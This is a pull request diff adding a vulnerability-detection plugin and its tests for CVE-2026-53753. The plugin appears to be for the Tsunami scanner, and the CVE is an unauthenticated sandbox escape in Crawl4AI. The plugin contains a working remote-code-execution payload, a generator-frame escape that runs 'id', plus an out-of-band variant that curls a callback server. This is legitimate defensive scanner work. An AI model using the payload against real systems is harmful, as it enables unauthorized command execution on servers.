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feat(templated):CVE-2026-53753-Crawl4AI #878

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b74818b
feat(templated):CVE-2026-53753-Crawl4AI
mangeshwalsane2-hash Aug 10, 2026
5b9e1cc
review comments fixed, added two workflows reflective and oob
mangeshwalsane2-hash Aug 27, 2026
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139 changes: 139 additions & 0 deletions ...d/templateddetector/plugins/cve/2026/Crawl4AI_AST_Sandbox_Escape_CVE_2026_53753.textproto
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# proto-file: proto/templated_plugin.proto
# proto-message: TemplatedPlugin

###############
# PLUGIN INFO #
###############

info: {
type: VULN_DETECTION
name: "Crawl4AI_AST_Sandbox_Escape_CVE_2026_53753"
author: "mangeshwalsane2-hash"
version: "1.0"
}

finding: {
main_id: {
publisher: "GOOGLE"
value: "CVE-2026-53753"
}
severity: CRITICAL
title: "Unauthenticated Remote Code Execution (AST Sandbox Escape) in Crawl4AI"
description: "Crawl4AI versions 0.8.6 and prior contain an unauthenticated remote code execution vulnerability via computed field expression evaluation. An attacker can send a crafted JsonCssExtractionStrategy schema that escapes the AST allow-list using Python generator frame introspection (gi_frame.f_back), reaching real builtins and executing arbitrary OS commands."
recommendation: "Upgrade Crawl4AI to version 0.8.7 or higher, enable JWT authentication, and avoid exposing the API to untrusted networks."
related_id: {
publisher: "CVE"
value: "CVE-2026-53753"
}
}

config: {}

###########
# ACTIONS #
###########

actions: {
name: "fingerprint_crawl4ai"
http_request: {
method: POST
uri: "/crawl"
headers: [
{
name: "Content-Type"
value: "application/json"
}
]
data: "{\"urls\": [\"raw://<html><body><div>test</div></body></html>\"]}"
response: {
http_status: 200
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expect_all: {
conditions: [
{
body: {}
contains: "\"cleaned_html\""
},
{
body: {}
contains: "\"success\""
}
]
}
}
}
}

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# Without callback server enabled (Reflective Check)
actions: {
name: "trigger_rce_sandbox_escape_reflective"
http_request: {
method: POST
uri: "/crawl"
headers: [
{
name: "Content-Type"
value: "application/json"
}
]
data: "{\"urls\":[\"raw://<html><body><div id=\\\"x\\\">content</div></body></html>\"],\"crawler_config\":{\"type\":\"CrawlerRunConfig\",\"params\":{\"extraction_strategy\":{\"type\":\"JsonCssExtractionStrategy\",\"params\":{\"schema\":{\"name\":\"pwn\",\"baseSelector\":\"div\",\"fields\":[{\"name\":\"out\",\"type\":\"computed\",\"expression\":\"(lambda: ((g := (g.gi_frame.f_back.f_back.f_back.f_builtins[\\\"__import__\\\"](\\\"os\\\").popen(\\\"id\\\").read() for i in [1])), list(g))[-1])()\"}]}}}}}}"
response: {
http_status: 200
expect_all: {
conditions: [
{
body: {}
contains: "uid="
}
]
}
}
}
}

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# With callback server enabled (Out-of-Band Check)
actions: {
name: "trigger_rce_sandbox_escape_oob"
http_request: {
method: POST
uri: "/crawl"
headers: [
{
name: "Content-Type"
value: "application/json"
}
]
data: "{\"urls\":[\"raw://<html><body><div id=\\\"x\\\">content</div></body></html>\"],\"crawler_config\":{\"type\":\"CrawlerRunConfig\",\"params\":{\"extraction_strategy\":{\"type\":\"JsonCssExtractionStrategy\",\"params\":{\"schema\":{\"name\":\"pwn\",\"baseSelector\":\"div\",\"fields\":[{\"name\":\"out\",\"type\":\"computed\",\"expression\":\"(lambda: ((g := (g.gi_frame.f_back.f_back.f_back.f_builtins[\\\"__import__\\\"](\\\"os\\\").popen(\\\"curl {{ T_CBS_URI }}\\\").read() for i in [1])), list(g))[-1])()\"}]}}}}}}"

}
}

actions: {
name: "sleep"
utility: { sleep: { duration_ms: 1000 } }
}

actions: {
name: "check_callback_server_logs"
callback_server: { action_type: CHECK }
}

#############
# WORKFLOWS #
#############

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workflows: {
condition: REQUIRES_CALLBACK_SERVER
actions: [
"fingerprint_crawl4ai",
"trigger_rce_sandbox_escape_oob",
"sleep",
"check_callback_server_logs"
]
}

workflows: {
actions: [
"fingerprint_crawl4ai",
"trigger_rce_sandbox_escape_reflective"
]
}
137 changes: 137 additions & 0 deletions ...plateddetector/plugins/cve/2026/Crawl4AI_AST_Sandbox_Escape_CVE_2026_53753_test.textproto
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# proto-file: proto/templated_plugin_tests.proto
# proto-message: TemplatedPluginTests

config: {
tested_plugin: "Crawl4AI_AST_Sandbox_Escape_CVE_2026_53753"
}

tests: {
name: "whenVulnerableReflective_returnsTrue"
expect_vulnerability: true
mock_http_server: {
mock_responses: [
{
uri: "/crawl"
status: 200
body_content:
'{'
' "success": true,'
' "results": ['
' {'
' "url": "raw://<html><body><div id=\"x\">content</div></body></html>",'
' "success": true,'
' "cleaned_html": "<html><body><div id=\"x\">content</div></body></html>",'
' "extracted_content": "[\n {\n \"out\": [\n '
'"uid=999(appuser) gid=999(appuser) groups=999(appuser)\n"\n ]\n }\n]"'
' }'
' ]'
'}'
headers: [
{ name: "Content-Type" value: "application/json" }
]
}
]
}
}

tests: {
name: "whenNotVulnerableReflective_returnsFalse"
expect_vulnerability: false
mock_http_server: {
mock_responses: [
{
uri: "/crawl"
status: 200
body_content:
'{'
' "success": true,'
' "results": ['
' {'
' "url": "raw://<html><body><div id=\"x\">content</div></body></html>",'
' "cleaned_html": "<html><body><div id=\"x\">content</div></body></html>"'
' }'
' ]'
'}'
headers: [
{ name: "Content-Type" value: "application/json" }
]
}
]
}
}

tests: {
name: "whenVulnerableOob_returnsTrue"
expect_vulnerability: true
mock_callback_server: {
enabled: true
has_interaction: true
}
mock_http_server: {
mock_responses: [
{
uri: "/crawl"
status: 200
body_content:
'{'
' "success": true,'
' "results": ['
' {'
' "url": "raw://<html><body><div id=\"x\">content</div></body></html>",'
' "success": true,'
' "cleaned_html": "<html><body><div id=\"x\">content</div></body></html>",'
' "extracted_content": "[\n {\n \"out\": []\n }\n]"'
' }'
' ]'
'}'
headers: [
{ name: "Content-Type" value: "application/json" }
]
}
]
}
}

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tests: {
name: "whenNotVulnerableOob_returnsFalse"
expect_vulnerability: false
mock_callback_server: {
enabled: true
has_interaction: false
}
mock_http_server: {
mock_responses: [
{
uri: "/crawl"
status: 200
body_content:
'{'
' "success": true,'
' "results": ['
' {'
' "url": "raw://<html><body><div id=\"x\">content</div></body></html>",'
' "cleaned_html": "<html><body><div id=\"x\">content</div></body></html>"'
' }'
' ]'
'}'
headers: [
{ name: "Content-Type" value: "application/json" }
]
}
]
}
}

tests: {
name: "whenNotCrawl4AI_returnsFalse"
expect_vulnerability: false
mock_http_server: {
mock_responses: [
{
uri: "TSUNAMI_MAGIC_ANY_URI"
status: 404
body_content: "Not Found"
}
]
}
}